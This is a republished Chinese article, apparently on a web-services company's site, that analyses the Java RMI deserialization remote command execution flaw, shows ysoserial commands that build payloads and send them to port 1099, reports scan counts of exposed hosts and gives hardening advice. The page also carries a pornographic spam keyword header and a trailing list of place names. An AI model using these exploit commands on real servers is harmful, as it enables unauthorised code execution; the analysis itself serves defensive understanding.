内射老阿姨1区2区3区4区_久久精品人人做人人爽电影蜜月_久久国产精品亚洲77777_99精品又大又爽又粗少妇毛片

JAVA反序列化中Rmi命令執(zhí)行漏洞的分析

本篇文章給大家分享的是有關JAVA反序列化中Rmi命令執(zhí)行漏洞的分析,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

讓客戶滿意是我們工作的目標,不斷超越客戶的期望值來自于我們對這個行業(yè)的熱愛。我們立志把好的技術通過有效、簡單的方式提供給客戶,將通過不懈努力成為客戶在信息化領域值得信任、有價值的長期合作伙伴,公司提供的服務項目有:域名注冊、虛擬空間、營銷軟件、網(wǎng)站建設、玉林網(wǎng)站維護、網(wǎng)站推廣。

1       概述

早在2015年的1月28號,Gabriel Lawrence和Chris Frohoff在AppSecCali上給出了一個報告,報告中介紹了Java反序列化漏洞可以利用Apache Commons Collections這個常用的Java庫來實現(xiàn)任意代碼執(zhí)行,但當時并沒有引起太大的關注。后來FoxGlove Security安全團隊發(fā)布了一篇長博客,闡述了利用Java反序列化和Apache Commons Collections這一基礎類庫實現(xiàn)遠程命令執(zhí)行的真實案例,各大Java Web Server紛紛躺槍,這個漏洞橫掃WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版,當時各大src平臺已被該漏洞刷屏,漏洞鋪天蓋地而來。

針對這個"2015年最被低估"的漏洞,各大受影響的Java應用廠商陸續(xù)發(fā)布了修復后的版本,Apache Commons Collections項目也對存在漏洞的類庫進行了一定的安全處理,但是網(wǎng)絡上仍有大量網(wǎng)站受此漏洞影響。本次討論的對象是JAVA RMI反序列化遠程命令執(zhí)行漏洞。

2       何為java RMI

RMI是REMOTE METHODINVOCATION的簡稱,是J2SE的一部分,能夠讓程序員開發(fā)出基于JAVA的分布式應用。一個RMI對象是一個遠程JAVA對象,可以從另一個JAVA虛擬機上(甚至跨過網(wǎng)絡)調(diào)用它的方法,可以像調(diào)用本地JAVA對象的方法一樣調(diào)用遠程對象的方法,使分布在不同的JVM中的對象的外表和行為都像本地對象一樣。對于任何一個以對象為參數(shù)的RMI接口,你都可以發(fā)一個自己構建的對象,迫使服務器端將這個對象按任何一個存在于class path中的可序列化類來反序列化。

Java rmi遠程調(diào)用如下:

RMI遠程調(diào)用步驟:

JAVA反序列化中Rmi命令執(zhí)行漏洞的分析

l 客戶對象調(diào)用客戶端輔助對象上的方法

l 客戶端輔助對象打包調(diào)用信息(變量,方法名),通過網(wǎng)絡發(fā)送給服務端輔助對象

l 服務端輔助對象將客戶端輔助對象發(fā)送來的信息解包,找出真正被調(diào)用的方法以及該方法所在對象

l 調(diào)用真正服務對象上的真正方法,并將結(jié)果返回給服務端輔助對象

l 服務端輔助對象將結(jié)果打包,發(fā)送給客戶端輔助對象

l 客戶端輔助對象將返回值解包,返回給客戶對象

l 客戶對象獲得返回值

3       Java Rmi命令執(zhí)行是什么

1099端口是Java RMI的默認端口,RMI默認使用序列化來完成所有的交互,所以這是非常常見的漏洞。如果該端口暴露在公網(wǎng)上,且使用了Apache Commons Collections的漏洞版本,就可以在該服務器上執(zhí)行相關命令。此處嘗試利用ysoserial進行漏洞分析。

JAVA反序列化中Rmi命令執(zhí)行漏洞的分析

利用Java中Proxy的形式對攻擊payload進行封裝,并在對Proxy實現(xiàn)重新封裝的過程中使用了大量的泛類型,使得payload可以應對不同的應用。

利用該漏洞可在服務器上執(zhí)行相關命令,此處舉例如下

$ java -jar ysoserial.jar CommonsCollections1 calc.exe |xxd

0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl

0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A

0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat

0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov

0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........

0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin

$ nc xx.xx.xx.xx 1099 < groovypayload.bin

$ java -cp ysoserial.jarysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

利用該漏洞查看相關datasource文件內(nèi)容

RMI服務的攻擊,同樣可以使用URLClassLoader方法進行回顯

4       Java Rmi當前漏洞影響

雖然Java RMI服務遠程命令執(zhí)行漏洞過去了4年的時間,但是公網(wǎng)上依然有很多服務器存在該漏洞,此處對國內(nèi)1099的端口開放情況做了初步統(tǒng)計,具體結(jié)果如下:

JAVA反序列化中Rmi命令執(zhí)行漏洞的分析JAVA反序列化中Rmi命令執(zhí)行漏洞的分析

JAVA反序列化中Rmi命令執(zhí)行漏洞的分析

JAVA反序列化中Rmi命令執(zhí)行漏洞的分析

通過對簡單掃描結(jié)果進行統(tǒng)計發(fā)現(xiàn),1099端口中國開放12310臺,其中將端口用于RMI交互的主機3891臺,占比31.6%;存在反序列化漏洞3114臺,占比 25.29%

5       加固意見

?  關閉rmi服務的端口在公網(wǎng)的開放;

?  下載SerialKiller臨時補丁,這個jar后放置于classpath,將應用代碼中的java.io.ObjectInputStream替換為SerialKiller,之后配置讓其能夠允許或禁用一些存在問題的類,SerialKiller有Hot-Reload,Whitelisting,Blacklisting幾個特性,控制了外部輸入反序列化后的可信類型

?  在不影響業(yè)務的情況下,臨時刪除掉項目里的InvokerTransformer.class文件;

?  定時對WebLogic、Apache、JBoss等中間件進行升級。

以上就是JAVA反序列化中Rmi命令執(zhí)行漏洞的分析,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降?。希望你能通過這篇文章學到更多知識。更多詳情敬請關注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

網(wǎng)站題目:JAVA反序列化中Rmi命令執(zhí)行漏洞的分析
分享URL:http://www.rwnh.cn/article6/jicpig.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供用戶體驗App開發(fā)、軟件開發(fā)、網(wǎng)站建設、ChatGPT網(wǎng)站制作

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都網(wǎng)站建設公司
清镇市| 孝义市| 冕宁县| 衢州市| 行唐县| 当涂县| 息烽县| 常宁市| 蒲城县| 潼关县| 普兰县| 赤峰市| 汝阳县| 贵州省| 新泰市| 商丘市| 肇东市| 遂宁市| 庄浪县| 宁晋县| 江口县| 当涂县| 北川| 慈利县| 涿鹿县| 龙川县| 新安县| 罗山县| 汕尾市| 蒙城县| 循化| 渑池县| 精河县| 师宗县| 揭东县| 乡宁县| 商城县| 云浮市| 贞丰县| 紫云| 应城市|